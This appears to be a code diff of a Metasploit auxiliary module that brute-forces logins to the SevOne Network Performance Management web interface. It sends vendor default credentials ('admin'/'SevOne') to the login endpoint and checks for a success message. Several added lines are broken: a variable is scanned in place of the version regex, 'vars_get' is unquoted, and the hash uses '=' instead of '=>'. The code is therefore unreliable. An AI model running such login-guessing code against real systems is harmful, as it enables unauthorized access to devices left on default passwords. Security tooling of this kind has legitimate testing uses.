@@ -25,15 +25,14 @@ def initialize(info={})
25
25
[
26
26
'Karn Ganeshen <KarnGaneshen[at]gmail.com>' ,
27
27
] ,
28
- 'DisclosureDate' => 'June 07, 2013' ,
28
+ 'DisclosureDate' => 'Jun 07, 2013' ,
29
29
'License' => MSF_LICENSE
30
30
) )
31
31
register_options (
32
32
[
33
- Opt ::RPORT ( 8443 ) ,
33
+ Opt ::RPORT ( 80 ) ,
34
34
OptString . new ( 'USERNAME' , [ false , 'A specific username to authenticate as' , 'admin' ] ) ,
35
- OptString . new ( 'PASSWORD' , [ false , 'A specific password to authenticate with' , 'SevOne' ] ) ,
36
- OptString . new ( 'STOP_ON_SUCCESS' , [ true , 'Stop guessing when a credential works for a host' , true ] )
35
+ OptString . new ( 'PASSWORD' , [ false , 'A specific password to authenticate with' , 'SevOne' ] )
37
36
] , self . class )
38
37
end
39
38
@@ -61,7 +60,7 @@ def is_app_sevone?
61
60
62
61
if ( res and res . code . to_i == 200 and res . headers [ 'Set-Cookie' ] . include? ( 'SEVONE' ) )
63
62
version_key = /Version: <strong>(.+)<\/ strong>/
64
- version = res . body . scan ( version_key ) . flatten
63
+ version = res . body . scan ( version ) . flatten
65
64
print_good ( "Application confirmed to be SevOne Network Performance Management System version #{ version } " )
66
65
success = true
67
66
end
@@ -75,8 +74,15 @@ def do_login(user, pass)
75
74
begin
76
75
res = send_request_cgi (
77
76
{
78
- 'uri' => "/doms/login/processLogin.php?login=#{ user } &passwd=#{ pass } &tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+" ,
79
- 'method' => 'GET'
77
+ 'uri' => "/doms/login/processLogin.php" ,
78
+ 'method' => 'GET' ,
79
+ vars_get =>
80
+ {
81
+ 'login' = user ,
82
+ 'passwd' = pass ,
83
+ 'tzOffset' = '-25200' ,
84
+ 'tzString' = 'Thur+May+05+1983+05:05:00+GMT+0700+'
85
+ }
80
86
} )
81
87
82
88
check_key = "The user has logged in successfully."
0 commit comments